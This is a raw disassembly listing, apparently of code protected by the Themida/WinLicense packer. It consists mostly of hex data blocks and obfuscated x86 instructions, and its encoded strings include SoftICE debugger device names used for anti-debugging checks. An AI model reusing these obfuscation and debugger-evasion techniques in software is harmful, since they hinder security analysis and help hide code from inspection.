		dd 0EF54083Dh, 0B40EFDE8h, 50942393h, 2BDEF0D4h, 9E157369h
		dd 803B1511h, 7FE38FCAh, 0F168966Ah, 0F13FF40h,	92CD813Ah
		dd 1B4E01B8h, 1132D270h, 1A36329Eh, 69ED0A66h, 15013CF2h
		dd 3398CD76h, 40385935h, 0F3BA2BFBh, 0A6000005h, 8E0DC104h
		dd 0AC2B9FD6h, 7900BCF5h, 962599D6h, 11F7B3F2h,	0A6E587F5h
		dd 0C102A332h, 9DD88E0Dh, 0BCF19A21h, 78330D00h, 6BDEDFCAh
		dd 32E7AD2Ah, 39504479h, 5D835D92h, 0CC7C14AEh,	5774F06Dh
		dd 9F20A7h, 174CF3C6h, 39F2076Bh, 6DCC7E90h, 9830C741h
		dd 0C0714450h, 0B38F937Fh, 0B710DC8Fh, 0B0F2336Bh, 58FFFFFEh
		dd 7E32A9D7h, 7CEA583Fh, 730A6DCCh, 9AAF93D0h, 41356A21h
		dd 0F04FEEFh, 2411A95Bh, 4C21457Ch, 0AFC11AB9h,	0FCA9E3FCh
		dd 0AB1FFB67h, 9313BF56h, 0EE35C019h, 233D0F33h, 25F44E3Dh
		dd 1410943Ch, 47EB4C37h, 17139E0Ch, 92D37645h, 4C5582DEh
		dd 0AB7B0729h, 431214E9h, 9E2C7FFAh, 2CC9681Bh,	3F8B26E1h
		dd 149C1h, 0BD150B00h, 6BC3B6B7h, 8F0CD99Ch, 0B48C2BBAh
		dd 4420D40Dh, 0C65B4E20h, 0E067FC67h, 951AC184h, 94B2C23Dh
		dd 85845685h, 47EA17D0h, 0B1FEF26Eh, 0E4A7B922h, 7DF9C42Ch
		dd 0E37688E4h, 0C453073Ch, 9181E61Bh, 0BFA010AFh, 4D4FEE7h
		dd 0E7870000h, 0FBB128A4h, 0DC9108C4h, 0FBB027A3h, 0D98B0ABEh
		dd 0DC281E9Ah, 0FFBBFAAEh, 1894D578h, 0F6B2EDA1h, 1793C87Fh
		dd 0E1614834h, 56BDED8h, 0BD5C1CA8h, 165D4C1Eh,	8E67FA9Ch
		dd 1C09B970h, 71ED9421h, 0B0CAA65Ch, 8E4A8529h,	7C286307h
		dd 0CC71A65Dh, 4A087730h, 773DA67Eh, 2A000004h,	12894588h
		dd 30A7235Ah, 0D8C4079h, 1AA11D5Ah, 85833776h, 1A590B79h
		dd 3576179Eh, 114C0279h, 30651E9Dh, 0FCAF917Ch,	6BDED946h
		dd 327B419Eh, 0E75B4E79h, 386DCC7Ch, 0C9AD5990h, 8D795DD9h
		dd 7420550Eh, 0FBDF7645h, 31B122D2h, 0AFCCFE90h, 0CC3457F4h
		dd 4488836Dh, 0B6336AEEh, 4E428123h, 74AF53D2h,	0FD31F157h
		dd 325BFFFFh, 63504479h, 8B758754h, 0CC7C22A0h,	665DC26Dh
		dd 11FAF108h, 8B6D8A66h, 0FC80AFA0h, 213B3767h,	0A3B22A2Ch
		dd 52CEC201h, 6D485465h, 85627EB9h, 0B8153BD1h,	2739A231h
		dd 0ED016626h, 0CA9F3FBDh, 486EF3B6h, 0AC8867FCh, 296207D2h
		dd 4D48354h, 7A7C07ABh,	0FBD00BBFh, 0BE904B6Ah,	24C19ACBh
		dd 5C482436h, 718B5067h, 348A7ABAh, 8B41F82Ch, 2309344Bh
		dd 193D0227h, 8E23E44h,	0BC6F9A51h, 28746106h, 645E7DEh
		dd 685206EAh, 612F9396h, 6BC72874h, 0E0FD34ECh,	0D277AC53h
		dd 0F65D0A34h, 6339AA7Ah, 16000003h, 0FE7D3174h, 1C9B0F46h
		dd 29B02C65h, 6954986h,	0C1A72362h, 36751745h, 1152F382h
		dd 2D681E9Dh, 4C812AB1h, 0E8A39D90h, 6BDEDA5Ah,	5C57DDBAh
		dd 8D4C1EBDh, 0B4CCA1D6h, 0FA9C84F5h, 19106267h, 942123A9h
		dd 0DBF5D14Dh, 54913605h, 6DD5C4A0h, 89942123h,	6AD8D3ADh
		dd 8A942123h, 14A7B98Eh, 0B7F2986Eh, 0F2981F9Bh, 13CCCBB7h
		dd 48B779DEh, 0D194A08h, 2E99Ch, 0A7EA9C00h, 0C5FCA433h
		dd 0A2DB9209h, 0BFFCAF26h, 99D88C0Bh, 0A9DB2725h, 8514C807h
		dd 0B027A3E4h, 8C0BBFFAh, 3F2A9ED3h, 0DAF44E3Dh, 93106BDEh
		dd 0DC96D709h, 6CB4837Eh, 40772DACh, 6AFBD054h,	0A0BE904Bh
		dd 473B7419h, 64150EEBh, 267FA5Ah, 0DE855426h, 4DD035A9h
		dd 5951F198h, 0B9B59422h, 0C39DC39Dh, 22597AC8h, 0A9BE9A94h
		dd 22595602h, 0BEB2AE94h, 3AE625C7h, 306F2198h,	4794277Ch
		dd 76354B35h, 942259CCh, 8070AF61h, 7EDCC7A4h, 64942259h
		dd 0EA248067h, 2249833Fh, 0E2076394h, 0E502855Ah, 0F34D3935h
		dd 9792C168h, 94228A2Bh, 7F734FCBh, 560DC6A3h, 7D537521h
		dd 96A9C150h, 0CCB2299h, 96D1958h, 95C067F4h, 22E82C96h
		dd 886CC894h, 699E45D4h, 0EF7501BDh, 67A64A11h,	1A2B7BBh
		dd 0E71CC362h, 0B4778973h, 9422E80Eh, 17CB8AE6h, 2F4C28DCh
		dd 0DAC6FBA4h, 0D6CA09BBh, 5CAE9F81h, 218403C2h, 0A1558A41h
		dd 0F7CCA1C5h, 0D9607E58h, 2D09FD32h, 2225C47Eh, 27442094h
		dd 0E1C8F3ACh, 94222561h, 11CDA985h, 0FAB1E68Ah, 94222548h
		dd 0E094B0ACh, 4BFDC8CCh, 0CA81180Ch, 45EAE195h, 0D1701308h
		dd 13B291EBh, 0E0845E12h, 254200ABh, 0C6A29422h, 567AF6AAh
		dd 72B153E2h, 2863077Eh, 6A946A7Ch, 222503BFh, 0D087E394h
		dd 2F33DF1Ah, 4BEA891Ah, 0D00BBF99h, 0E35F4A24h, 3942225h
		dd 55274B27h, 25C2802Bh, 9009422h, 942225B9h, 7A11015Dh
		dd 88EC98D5h, 50C78F6Ch, 38ED6C97h, 25AA18FFh, 49159422h
		dd 66C41265h, 0D188E49Ch, 1400E41Bh, 0B503A345h, 7312A14Dh
		dd 8C4F9B2h, 0F1A5DA91h, 0CE03BC7Fh, 1ED5EE9h, 0B0CD0193h
		dd 4E428123h, 6C1F411Bh, 2CB746D6h, 0EA3B69F9h,	6D255A3Bh
		dd 8175B056h, 660AC1A5h, 0E2F77B27h, 0DC83A241h, 374933A7h
		dd 0B7C1CE74h, 6EAD5F2Ch, 72EE9E82h, 0F025DE55h, 0B328AF04h
		dd 0BB49F299h, 61BD2687h, 3EED13EDh, 56A7CF84h,	96E70460h
		dd 1FA3667Fh, 0F756A7CFh, 0CA07BC7Bh, 64765AD6h, 0E4EF2FD5h
		dd 45267B5Eh, 0F26E223Eh, 550803D5h, 0ED5C91EBh, 5D068571h
		dd 0E99DDA8Dh, 6997698Dh, 15013CF2h, 0ABD86A11h, 0E03C5894h
		dd 1BC4530Bh, 0A56B3AE6h, 9627130Ch, 0CAC1B5F0h, 0C336EA23h
		dd 0A47745DCh, 6BD64FBh, 7B578E36h, 5A8F38BFh, 6305D4A6h
		dd 0D78C4724h
		dd 57F9C09Ah, 44434318h, 16B561A0h, 0C413570h, 42F4D877h
		dd 5A1110AFh, 0DA904B25h, 71255C04h, 42FCD1F5h,	5D70CB3h
		dd 0A1559036h, 0BC109FBCh, 678BD3D5h, 23039492h, 2D000000h
		dd 35342240h, 9F2CC633h, 0BD5BC0Fh, 9695678Bh, 4F194A2Ch
		dd 0B58F6CC8h, 0F49A215Fh, 0F4E02B9h, 8032723Ah, 9952493Dh
		dd 7519B064h, 9E4F463Ah, 7E32A95Dh, 9034533Fh, 8126A551h
		dd 94395044h, 7830A75Bh, 57CF5541h, 0C781E789h,	4, 8704EF83h
		dd 895C243Ch, 8950240Ch, 405E0h, 0E8830000h, 24048704h
		dd 243C895Ch, 65C368h, 242C8900h, 12A12068h, 243C8B06h
		dd 5404C483h, 83242C8Bh, 815704C4h, 34D42434h, 458F4A9Ah
		dd 0D4BF5708h, 314A9A34h, 8B5F087Dh
; ---------------------------------------------------------------------------
		sub	al, 24h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		dw 0B7BDh
; ---------------------------------------------------------------------------


loc_575E94:				; CODE XREF: Themida_:loc_575540j
		mov	eax, 612A9A4h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 0E4h, 22h, 75h
		dd 46264341h, 9B664461h, 0D974F118h, 6E839h, 45C60000h
		dd 0DC3984D2h, 6E9h, 979F3000h,	5EF623B1h, 0FA32BB66h
		dd 714EC681h, 14E90000h, 0E000000h, 5A170912h, 3E48C00Ch
		dd 371F276Ah, 0D82FB814h, 680CFE0Ch, 0
; ---------------------------------------------------------------------------
		jmp	loc_575EFC
; ---------------------------------------------------------------------------
		db 0F1h, 0A5h, 79h
		dd 8B23F4h, 7E6C4BE7h
; ---------------------------------------------------------------------------


loc_575EFC:				; CODE XREF: Themida_:00575EECj
		pop	eax
		mov	dx, ax


loc_575F00:				; CODE XREF: Themida_:00575FACj
		mov	edi, [esi+eax]
		and	ebx, 4F66C80h
		xor	edi, 2A60A9E0h
		movzx	ebx, cx
		sub	edi, 1A6421F8h
		pusha
		call	near ptr loc_575F2C+6
		jl	short near ptr byte_575F3B
		cld
		db	36h
		mov	cl, 8Ch
		xor	esp, [ebp+2DEE9953h]
		and	ecx, edx


loc_575F2C:				; CODE XREF: Themida_:00575F19p
		call	far ptr	0BE25h:0F5DFAF9Eh
		fdiv	qword ptr [edi+0F5F3436h]
		pop	dword ptr [edx]
; ---------------------------------------------------------------------------
byte_575F3B	db 0			; CODE XREF: Themida_:00575F1Ej
		db    0
		align 2
		mov	ecx, edx
		popa
		xor	edi, 74E2E3C2h
		jmp	loc_575F56
; ---------------------------------------------------------------------------
		dd 0D1E36502h, 697389C4h
		db 0D3h, 52h
; ---------------------------------------------------------------------------


loc_575F56:				; CODE XREF: Themida_:00575F47j
		mov	[esi+eax], edi
		push	eax
		pop	edx
		mov	ebx, edx
		sub	eax, 4
		jp	loc_575F6E
		push	esi
		add	ecx, 7F687815h
		pop	ecx


loc_575F6E:				; CODE XREF: Themida_:00575F60j
		cmp	eax, 0FFFF8FC0h
		jnz	loc_575F9C
		pusha
		jo	loc_575F85
		mov	ax, 1112h


loc_575F85:				; CODE XREF: Themida_:00575F7Bj
		mov	dx, ax
		popa
		jmp	loc_575FC4
; ---------------------------------------------------------------------------
		dw 6427h
		dd 625378E9h, 538C51DDh, 760F6A56h
; ---------------------------------------------------------------------------


loc_575F9C:				; CODE XREF: Themida_:00575F74j
		pusha
		jno	loc_575FA6
		movsx	edx, si


loc_575FA6:				; CODE XREF: Themida_:00575F9Dj
		mov	edi, 2A193BE1h
		popa
		jmp	loc_575F00
; ---------------------------------------------------------------------------
		cdq
		add	dword ptr [ebx-2Bh], 75h
		rcl	byte ptr [esp+ecx-46h],	cl
		fisub	word ptr [esi+1]
		mov	al, ds:5A98757Bh
		neg	dword ptr [edi]


loc_575FC4:				; CODE XREF: Themida_:00575F89j
		jmp	loc_576055
; ---------------------------------------------------------------------------
		pusha
		cmp	dword ptr [ebp+6100D39h], 0
		jz	loc_575FDC
		jmp	loc_576053
; ---------------------------------------------------------------------------


loc_575FDC:				; CODE XREF: Themida_:00575FD1j
		push	0
		cmp	byte ptr [esi],	30h
		jnz	loc_575FEF
		push	0
		inc	esi
		jmp	loc_576024
; ---------------------------------------------------------------------------


loc_575FEF:				; CODE XREF: Themida_:00575FE1j
		cmp	byte ptr [esi],	33h
		jnz	loc_576000
		push	10h
		inc	esi
		jmp	loc_576024
; ---------------------------------------------------------------------------


loc_576000:				; CODE XREF: Themida_:00575FF2j
		cmp	byte ptr [esi],	34h
		jnz	loc_576011
		push	30h
		inc	esi
		jmp	loc_576024
; ---------------------------------------------------------------------------


loc_576011:				; CODE XREF: Themida_:00576003j
		cmp	byte ptr [esi],	35h
		jnz	loc_576022
		push	40h
		inc	esi
		jmp	loc_576024
; ---------------------------------------------------------------------------


loc_576022:				; CODE XREF: Themida_:00576014j
		push	0


loc_576024:				; CODE XREF: Themida_:00575FEAj
					; Themida_:00575FFBj ...
		cmp	byte ptr [esi],	20h
		jnz	loc_57603F
		cmp	byte ptr [esi+1], 0
		jnz	loc_57603F
		add	esp, 8
		jmp	loc_576053
; ---------------------------------------------------------------------------


loc_57603F:				; CODE XREF: Themida_:00576027j
					; Themida_:00576031j
		lea	eax, [ebp+61014E9h]
		nop
		push	eax
		nop
		xchg	eax, esi
		push	eax
		xchg	eax, esi
		push	0
		call	dword ptr [ebp+61012F5h]


loc_576053:				; CODE XREF: Themida_:00575FD7j
					; Themida_:0057603Aj
		popa
		retn
; ---------------------------------------------------------------------------


loc_576055:				; CODE XREF: Themida_:loc_575FC4j
		mov	byte ptr [ebp+61023E5h], 4Dh
		push	38394664h
		add	dword ptr [esp], 6BFC3044h
		push	dword ptr [ebp+61020E5h]
		lea	eax, [ebp+6103A32h]
		call	eax
		mov	[ebp+61012F5h],	eax
		jmp	short loc_57609C
; ---------------------------------------------------------------------------
		dw 5C5Ch
		dd 49535C2Eh, 5C004543h, 535C2E5Ch, 49565749h, 5C5C0044h
		dd 544E5C2Eh, 454349h
; ---------------------------------------------------------------------------


loc_57609C:				; CODE XREF: Themida_:0057607Cj
		mov	eax, eax
		mov	[ebp+61014B1h],	ecx
		mov	[ebp+6100D7Dh],	edi
		cmp	dword ptr [ebp+610158Dh], 0
		jnz	short loc_5760BC
		cmp	dword ptr [ebp+6100095h], 0
		jz	short loc_5760D5


loc_5760BC:				; CODE XREF: Themida_:005760B1j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 40Fh
		mov	[ebp+6100E65h],	eax
		lea	ebx, [ebp+612B815h]
		call	ebx
		pop	ebx
		pop	eax


loc_5760D5:				; CODE XREF: Themida_:005760BAj
		cmp	dword ptr [ebp+6100095h], 0
		jz	short loc_5760F5
		push	eax
		push	ebx
		mov	eax, 40Fh
		mov	[ebp+6100E65h],	eax
		lea	ebx, [ebp+612B504h]
		call	ebx
		pop	ebx
		pop	eax


loc_5760F5:				; CODE XREF: Themida_:005760DCj
		push	0
		push	edx
		call	sub_576100
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_576100	proc near		; CODE XREF: Themida_:005760F8p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_576100	endp

; ---------------------------------------------------------------------------
		mov	[edi], bh
		adc	dl, [eax-49A59E33h]
		or	ch, 0C3h
		cmc
		mov	eax, eax
		mov	[ebp+6101DE9h],	eax
		mov	byte ptr [ebp+61023E5h], 43h
		push	0
		push	ecx
		call	sub_576136
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_576136	proc near		; CODE XREF: Themida_:0057612Ep

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_576136	endp

; ---------------------------------------------------------------------------
		xor	eax, 0ED9D89EBh
		add	al, 10h
		push	es
		push	4EBA7EE9h
		mov	ch, 9Bh
		add	dword ptr [esp], 6DD3F013h
		push	0
		push	edi
		call	sub_576167
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_576167	proc near		; CODE XREF: Themida_:0057615Fp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_576167	endp

; ---------------------------------------------------------------------------
		db 0B3h
		dd 0C082F08Bh, 0FFF51FAEh, 101499B5h, 2D8D8906h, 8D06101Ch
		dd 103A3285h, 81D0FF06h, 646FC8D1h, 5250504Ch, 9E8h, 3C141B00h
		dd 0B4F127h, 0CB8BACB6h, 56310F5Eh, 5A596160h, 24048958h
		dd 0FB9BD89h, 6A0610h, 283D8529h, 4E80610h, 80000000h
		dd 52000000h, 8C0F51h, 5E000000h, 5250505Ah, 0EE860h, 0FFD40000h
		dd 287DE6B4h, 0A39FDC26h, 6714547Ah, 310F6159h,	448B585Ah
		dd 52500424h, 0D98B6660h, 9482BF66h, 8A310F61h,	8B585AF0h
		dd 24448900h, 8647B904h, 0E95831FCh, 9,	9BE8BE69h, 0FE54348Eh
		dd 6AF48A84h, 81006A03h, 262658C7h, 6A036A10h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 36E8C357h, 0B589DEB5h, 6101E9Dh, 239F8A68h, 2434819Fh
		dd 5F239F8Ah, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Bh,	0F4C35747h, 5056C999h, 0F312979h, 1887h, 13E900h
		dd 0C4EE0000h, 0FBA2216Ch, 2B75C4BDh, 0CF3CFCA9h, 0FF159F7Eh
		dd 139D8D0Fh, 810612ACh, 5898F8E2h, 6660500Eh, 0E9E90ABEh
		dd 0Ah,	0B3AE4CAFh, 0E1C5E5FDh,	8961E42Ch, 8D89241Ch, 6102ED9h
		dd 14359529h, 0D0FF0610h, 2598589h, 0F400610h, 28585h
		dd 0C88B6600h, 0BDBA6660h, 598D8B2Fh, 61061030h, 8D8B5258h
		dd 61015A1h, 0FE99059h,	0B0000000h, 0C07D0E20h,	84CEA393h
		dd 0D6450235h, 90500D4Bh, 0C4BB60h, 0BD010874h,	6101435h
		dd 6A006A61h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 0EB2DC350h, 0A1B58B3Ch, 68061016h
		dd 0A45B3BA5h, 138D0F60h, 0E8000000h, 0Dh, 2C4FF843h, 50D47C1Ah
		dd 0EB417897h, 605059F0h, 81615A61h, 0C4DB2404h, 6A5BA4h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 48049C3h, 40243845h,	0B589682Eh, 6102A95h, 36AFB8Bh
		dd 6AF48Ah, 7E9h, 85C5300h, 0D0826083h,	6A036Ah, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 571F87C3h, 898FC788h, 100D91BDh, 54E98006h, 79F8DD68h
		dd 2404815Ah, 65860723h, 1C9D8DF5h, 0F0612ACh, 5093D7B7h
		dd 0EA1DE6BEh, 0EE9936Fh, 1A000000h, 0F19FFA07h, 816B1E1Ch
		dd 0C1D2703Dh, 0F78B664Eh, 9589D0FFh, 61015B5h,	4B850F40h
		dd 0F000001h, 68Bh, 0E9B50B00h,	0F806102Dh, 14E858h, 6A310000h
		dd 7A279F80h, 0D58BF6C0h, 57188A0Dh, 0CB46FC4Bh, 59F9A562h
		dd 48C0F50h, 53000000h,	895FC88Bh, 7DBF2404h, 6A4B45DBh
		dd 0D850100h, 68061031h, 0B8419259h, 0B6505250h, 310F5ECCh
		dd 4BBF5250h, 0F05F581h, 5A616031h, 81585A58h, 6E272404h
		dd 0AE947BEh, 0D6000000h, 7ADA74DBh, 0DD9FB605h, 0E181608Ch
		dd 70BA9EE5h, 0B9036A61h, 2CC087B8h, 6A006Ah, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0D5B1BFC3h
		dd 6A036Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 344D4CC3h, 4168586Dh, 0FBEE481h, 587h, 816EB900h
		dd 34815A90h, 0E4814124h, 49B58B7Eh, 8D06101Dh,	12AC279Dh
		dd 0F460BF06h, 0E95038B8h, 0Fh,	78A726D5h, 720987F1h, 0D3DDC4E5h
		dd 89BF47C6h, 9509241Ch, 6101CA5h, 80B6D0FFh, 33850F40h
		dd 0F5000000h, 498D3358h, 0E906100Ch, 159h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0C2C35141h, 9DDCEC3Fh
		dd 87EA8166h, 0D88BF5D7h, 13AD9529h, 6A4B0610h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 0F91EC351h, 0E8E14228h, 7, 14C88D90h, 29C39B4Bh, 101F6995h
		dd 0BF665E06h, 8B58AE60h, 0E585C6F9h, 43061023h, 4D9533h
		dd 95290610h, 6102119h,	22799F68h, 64BE60B5h, 60525BBFh
		dd 0CE9F98Bh, 44000000h, 557BC0D5h, 8F40CBACh, 6191721Dh
		dd 24048161h, 0B53D108h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 19h, 11C35040h, 876B2431h,	99B5FFD3h, 0E9061014h
		dd 0Bh,	2FA86AE9h, 0A8931748h, 8D7119BEh, 103A3285h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 1EB2130Fh, 0E46E1C21h, 1B2DB58Bh, 0D0FF0610h, 93F98B66h
		dd 6E9h, 5626B00h, 5087E1EEh, 0EE9h, 93B83800h,	9DDE13DBh
		dd 41EDDCDCh, 93B45F06h, 0FFF88B66h, 39BD03D0h,	8D06101Eh
		dd 1073A39Dh, 0BD958B06h, 0B8061011h, 1, 4FD28166h, 89E3FF4Fh
		dd 10051D85h, 0BC18B06h, 101929B5h, 66C08B06h, 83F8FA8Bh
		dd 10158DBDh, 9750006h,	95BD83h, 74000610h, 8B535019h
		dd 40FB8C0h, 85890000h,	610132Dh, 0B87C9D8Dh, 0D3FF0612h
		dd 0BD83585Bh, 6100095h, 50177400h, 40FB853h, 85890000h
		dd 610132Dh, 0B51D9D8Dh, 0D3FF0612h, 8D09585Bh,	6101091h
		dd 0B3BF6653h, 0C08B5EA9h, 0AAE9h, 666F5300h, 72617774h
		dd 69575C65h, 63694C6Eh, 65736E65h, 65684300h, 4E496B63h
		dd 72705800h, 7845746Fh, 43007469h, 6B636568h, 54554Fh
		dd 4C6E6957h, 6E656369h, 65566573h, 6F697372h, 6957006Eh
		dd 63694C6Eh, 65736E65h, 76697244h, 65567265h, 6F697372h
		dd 6957006Eh, 63694C6Eh, 65736E65h, 74736E49h, 65636E61h
		dd 69784500h, 6B4F74h, 636F7250h, 50004E49h, 4F636F72h
		dd 45005455h, 49746978h, 7845004Eh, 554F7469h, 70540054h
		dd 4E49h, 2 dup(0)
		dd 7F000000h, 0F077DDAFh, 0E977DD72h, 596h, 0B3388589h
		dd 858D0612h, 612B334h,	9E858D50h, 500612B2h, 168h, 4495FF80h
		dd 6A0612B3h, 38B5FF19h, 6A0612B3h, 8D006A01h, 12B2CD85h
		dd 0B5FF5006h, 612B334h, 212595FFh, 0B5FF0610h,	612B334h
		dd 0B34095FFh, 0B5FF0612h, 612B334h, 58D95FFh, 89C30610h
		dd 12B33885h, 34858D06h, 500612B3h, 0B29E858Dh,	68500612h
		dd 80000001h, 0B34495FFh, 46A0612h, 0B338858Dh,	6A500612h
		dd 8D006A04h, 12B2F785h, 0B5FF5006h, 612B334h, 212595FFh
		dd 0B5FF0610h, 612B334h, 0B34095FFh, 0B5FF0612h, 612B334h
		dd 58D95FFh, 89C30610h,	12B33885h, 34858D06h, 500612B3h
		dd 0B29E858Dh, 68500612h, 80000001h, 0B34495FFh, 46A0612h
		dd 0B338858Dh, 6A500612h, 8D006A04h, 12B2DF85h,	0B5FF5006h
		dd 612B334h, 212595FFh,	0B5FF0610h, 612B334h, 0B34095FFh
		dd 0B5FF0612h, 612B334h, 58D95FFh, 89C30610h, 12B33885h
		dd 34858D06h, 500612B3h, 0B29E858Dh, 68500612h,	80000001h
		dd 0B34495FFh, 46A0612h, 0B338858Dh, 6A500612h,	8D006A04h
		dd 12B30A85h, 0B5FF5006h, 612B334h, 212595FFh, 0B5FF0610h
		dd 612B334h, 0B34095FFh, 0B5FF0612h, 612B334h, 58D95FFh
		dd 89C30610h, 12B33885h, 34858D06h, 500612B3h, 0B29E858Dh
		dd 68500612h, 80000001h, 0B34495FFh, 46A0612h, 0B338858Dh
		dd 6A500612h, 8D006A04h, 12B2BA85h, 0B5FF5006h,	612B334h
		dd 212595FFh, 0B5FF0610h, 612B334h, 0B34095FFh,	0B5FF0612h
		dd 612B334h, 58D95FFh, 83C30610h, 100701BDh, 840F0006h
		dd 0Bh,	7019D8Bh, 0C3830610h, 0C303894Ch, 701BD83h, 0F000610h
		dd 0B84h, 19D8B00h, 83061007h, 38950C3h, 1BD83C3h, 61007h
		dd 0B840Fh, 9D8B0000h, 6100701h, 8954C383h, 0BD83C303h
		dd 6100701h, 0B840F00h,	8B000000h, 1007019Dh, 58C38306h
		dd 83C30389h, 100701BDh, 840F0006h, 0Bh, 7019D8Bh, 0C3830610h
		dd 0C303895Ch, 858960C3h, 612B338h, 0B334858Dh,	8D500612h
		dd 12B29E85h, 1685006h,	0FF800000h, 12B34495h, 8D046A06h
		dd 12B33885h, 46A5006h,	858D006Ah, 612B32Fh, 34B5FF50h
		dd 0FF0612B3h, 10212595h, 8DBD8306h, 61015h, 0C840Fh, 0B5FF0000h
		dd 612B334h, 0B34095FFh, 0B5FF0612h, 612B334h, 58D95FFh
		dd 0C3610610h, 38858960h, 8D0612B3h, 12B33485h,	858D5006h
		dd 612B29Eh, 16850h, 95FF8000h,	612B344h, 858D046Ah, 612B338h
		dd 6A046A50h, 11858D00h, 500612B3h, 0B334B5FFh,	95FF0612h
		dd 6102125h, 158DBD83h,	0F000610h, 0C84h, 34B5FF00h, 0FF0612B3h
		dd 12B34095h, 34B5FF06h, 0FF0612B3h, 10058D95h,	60C36106h
		dd 0B3388589h, 858D0612h, 612B334h, 9E858D50h, 500612B2h
		dd 168h, 4495FF80h, 6A0612B3h, 38858D04h, 500612B3h, 6A046Ah
		dd 0B318858Dh, 0FF500612h, 12B334B5h, 2595FF06h, 83061021h
		dd 10158DBDh, 840F0006h, 0Ch, 0B334B5FFh, 95FF0612h, 612B340h
		dd 0B334B5FFh, 95FF0612h, 610058Dh, 8960C361h, 12B33885h
		dd 34858D06h, 500612B3h, 0B29E858Dh, 68500612h,	80000001h
		dd 0B34495FFh, 46A0612h, 0B338858Dh, 6A500612h,	8D006A04h
		dd 12B32085h, 0B5FF5006h, 612B334h, 212595FFh, 0BD830610h
		dd 610158Dh, 0C840F00h,	0FF000000h, 12B334B5h, 4095FF06h
		dd 0FF0612B3h, 12B334B5h, 8D95FF06h, 61061005h,	858960C3h
		dd 612B338h, 0B334858Dh, 8D500612h, 12B29E85h, 1685006h
		dd 0FF800000h, 12B34495h, 8D046A06h, 12B33885h,	46A5006h
		dd 858D006Ah, 612B327h,	34B5FF50h, 0FF0612B3h, 10212595h
		dd 8DBD8306h, 61015h, 0C840Fh, 0B5FF0000h, 612B334h, 0B34095FFh
		dd 0B5FF0612h, 612B334h, 58D95FFh, 0C3610610h, 3885C760h
		dd 10612B3h, 8D000000h,	12B33485h, 858D5006h, 612B29Eh
		dd 26850h, 95FF8000h, 612B344h,	840FC00Bh, 0Fh,	0B33885C7h
		dd 612h, 4DE90000h, 6A000000h, 38858D04h, 500612B3h, 6A046Ah
		dd 0B2B2858Dh, 0FF500612h, 12B334B5h, 2595FF06h, 0B061021h
		dd 0F840FC0h, 0C7000000h, 12B33885h, 6,	0AE900h, 85C70000h
		dd 612B338h, 1,	0B334B5FFh, 95FF0612h, 610058Dh, 38858B61h
		dd 0C30612B3h, 38858960h, 8D0612B3h, 12B33485h,	858D5006h
		dd 612B29Eh, 16850h, 95FF8000h,	612B344h, 858D046Ah, 612B338h
		dd 6A046A50h, 0B2858D00h, 500612B2h, 0B334B5FFh, 95FF0612h
		dd 6102125h, 158DBD83h,	0F000610h, 0C84h, 34B5FF00h, 0FF0612B3h
		dd 12B34095h, 34B5FF06h, 0FF0612B3h, 10058D95h,	60C36106h
		dd 0B3388589h, 858D0612h, 612B334h, 9E858D50h, 500612B2h
		dd 168h, 4495FF80h, 6A0612B3h, 38858D04h, 500612B3h, 6A046Ah
		dd 0B2C4858Dh, 0FF500612h, 12B334B5h, 2595FF06h, 83061021h
		dd 10158DBDh, 840F0006h, 0Ch, 0B334B5FFh, 95FF0612h, 612B340h
		dd 0B334B5FFh, 95FF0612h, 610058Dh, 85C6C361h, 61023E5h
		dd 7B076852h, 0B5FFADE4h, 6102E61h, 192195FFh, 85890610h
		dd 612B344h, 23E585C6h,	68520610h, 902E00E5h, 2E61B5FFh
		dd 95FF0610h, 6101921h,	0B3408589h, 85C60612h, 61023E5h
		dd 12356852h, 0B5FFB9BFh, 6102E61h, 192195FFh, 85890610h
		dd 6102125h, 23E585C6h,	68520610h, 98781034h, 2E61B5FFh
		dd 95FF0610h, 6101921h,	58D8589h, 85C60610h, 61023E5h
		dd 0DBD46852h, 0B5FFC005h, 6102E61h, 192195FFh,	85890610h
		dd 6101451h, 14E8h, 13C85200h, 0EF2F45D5h, 0CDEE79FFh
		dd 0ABD4755Fh, 667826FCh, 0C3BF0FCBh, 81CB8B5Bh, 60C8C3h
		dd 0F88B6600h, 5957D233h, 811A34FFh, 0A79015CFh, 66565E28h
		dd 0D943D981h, 4FEE8159h, 8B5A3AE5h, 29C681FBh,	0E940BEEFh
		dd 11h,	0AE1FC84Eh, 0DEDF0BCh, 0D92B592h, 0F7972591h, 3FC681D2h
		dd 89196B2Bh, 81661334h, 0F5439C8h, 89h, 2EEA8100h, 0F56A739Fh
		dd 9F2AC281h, 0E8516A73h, 10h, 0E4B90DCAh, 633CF005h, 6A1DF768h
